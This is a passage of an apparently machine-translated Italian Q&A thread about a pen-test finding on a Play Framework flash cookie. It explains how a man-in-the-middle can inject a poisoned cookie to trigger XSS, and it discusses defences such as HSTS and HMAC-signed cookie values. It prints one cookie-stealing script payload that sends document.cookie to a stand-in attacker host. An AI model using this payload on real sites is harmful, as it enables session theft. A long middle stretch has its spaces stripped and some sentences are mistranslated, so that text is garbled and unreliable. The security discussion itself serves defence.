cookie Flash e man-in-the-middle

Normalmente si dovrebbe essere corretti, tuttavia non è possibile proteggersi da questa vulnerabilità MITM anche se si utilizza un cookie sicuro su SSL. Questo cookie potrebbe ancora essere MITM per iniettare XSS. Il rapporto sul test della penna è corretto: il fatto che il meccanismo XSS sia un cookie dà origine alla vulnerabilità del MITM. Questo perché la Stessa politica di origine per i cookie non tratta protocolli e porte diversi come separati origini:

cookies have scoping mechanisms that are broader and essentially incompatible with same-origin policy rules (e.g., as noted, no ability to restrict cookies to a specific host or protocol) - sometimes undoing some content security compartmentalization mechanisms that would otherwise be possible under DOM rules.

Senza la funzionalità cookie, la vulnerabilità XSS è scomparsa e anche la vulnerabilità del MITM. Intendo spiegare in seguito con l'esempio.

Supponiamo che tu abbia scritto un link sicuro a un cookie con il set di flag di sicurezza come

<a href="https://www.example.edu/">University Link</a>

Il flag di sicurezza impedirà a un MITM di leggere il valore del cookie. Tuttavia, un utente malintenzionato potrebbe MITM qualsiasi altra connessione HTTP dalla vittima a qualsiasi altro sito e quindi inserire il proprio riferimento di risorsa al proprio sito.

In altre parole, la tua vittima visita bbc.co.uk su un semplice HTTP. Il MITM intercetta la richiesta HTTP a bbc.co.uk e aggiunge una richiesta di risorse JavaScript falsa nella pagina al tuo sito, example.com .

<script src="http://example.com/whatever.js"></script>

SarannoquindiingradodiMITMquestarichiesta(perchéèsemplicementeHTTP)einserireun'intestazioneSet-Cookienellarisposta.Inmodochepotesseroimpostareilcookiesu

<script>newImage().src='https://evil.example.org?cookie='+escape(document.cookie);</script>

persovrascrivereiltuocookiesicuro.Poichéperilbrowserilcookievieneimpostatodaltuodominio,saràleggibilesuHTTPeHTTPS.Quandol'utentevisitalatuapaginasuccessiva,questocookieverràlettoequindiresoallapaginapoichéilservernonhamododisaperechequestocookieèstatoimpostatosuHTTP.Ancheseilflagdisicurezzaèimpostatosulcookieoriginale,questocookiepuòsovrascriverloepoichéilserverottienesololecoppienome/valoreenonilvaloredelflagdisicurezza,nonhamododisaperechequestocookieèstatoavvelenato.

HTTPStrictTransportSecuritypuòproteggersidaquesto,poichélasempliceconnessioneHTTPverràautomaticamenteconvertitainHTTPSequindisaràimmunealMITMfinoaquandolapoliticaHSTSnonscadrà.Inoltre,iltuositorimarrebbevulnerabileprimacheiltuoutenteaccedaaltuosistemautilizzandoilsuobrowser,poichél'HSTSnonsaràancorastabilitoperiltuodominioamenochenonsiapresentenell'elencoprecaricato.Inoltre,alcunibrowsercomeInternetExplorernonsupportanoancoraHSTS.

Quindi,inbreve,sarebbemeglioarchiviarequestilinkoqualsiasitestochesivorrebberenderizzatoperl'utentelatoserveresemplicementememorizzareuntokensicuroall'internodelcookiechepuòesserecercatoall'internodeldatabase.CiòimpediràqualsiasiattaccoXSScheutilizzailcookie.Noncrittografareilvaloredelcookie,perchésecisono chiedi ai difetti crittografici di Oracle nel tuo sistema questo potrebbe ancora lasciare sei vulnerabile. Un approccio migliore sarebbe quello di HMAC il codice HTML nel cookie con una chiave segreta mantenuta sul lato server, e quindi verificare che questo MAC sia corretto prima di qualsiasi rendering. Ciò impedirà l'inserimento di qualsiasi codice HTML impostato all'esterno dell'applicazione.

Vedi anche Sicurezza di un reindirizzamento iniziale da http://example.com a https://example.com

Man-in-the-middle potrebbe non essere l'unico modo per manipolare il cookie. Se, ad esempio, il cookie viene utilizzato per example.org e si hanno sottodomini come user1.example.org che non si controlla o che potrebbero avere problemi XSS, sarà possibile impostare il cookie per example.org da user1.example.org. Probabilmente non sarai in grado di leggerlo, ma puoi cambiarlo e quindi attivare XSS su example.org. Problemi come questo sono accaduti in passato con i sottodomini di wordpress.com.

Penso che il team di test delle penne sia un misspoke.

Il MITM è una minaccia molto più grave di un XSS, perché l'aggressore MITM può monitorare e sostituire qualsiasi contenuto del tuo sito. Non è valido lamentarsi del contenuto di un sito che attribuisce un attacco MITM, perché il contenuto è irrilevante per un MITM. MITM può sempre iniettare contenuti nel tuo sito.

XSS è un attacco lato client sul contenuto del tuo sito. Un esempio di un attacco XSS sarebbe un parametro di forma che viene echeggiato nella pagina HTML senza convalida e sanificazione. Ciò consente a un utente malintenzionato di creare un sito Web che collega al tuo sito Web, iniettando contenuti che vengono eseguiti nel dominio di sicurezza del tuo sito web. Quindi il nome, attacco cross site scripting. A quel punto, l'utente malintenzionato può utilizzare script o altri utenti exploit sul tuo sito web. Non c'è MITM. L'utente comunica sempre con il tuo sito web. Il codice ostile è iniettato da vulnerabilità nel tuo sito web.

Tuttavia, ciò non significa che dovresti ignorare la consulenza sulla penna. Potrebbe essere che hanno sbagliato, ma esiste una vulnerabilità XSS valida in questo cookie PLAY_FLASH. Ad esempio, se il cookie viene impostato da un parametro, eseguito ed eseguito come eco nella pagina Web, può essere facilmente sfruttato come XSS.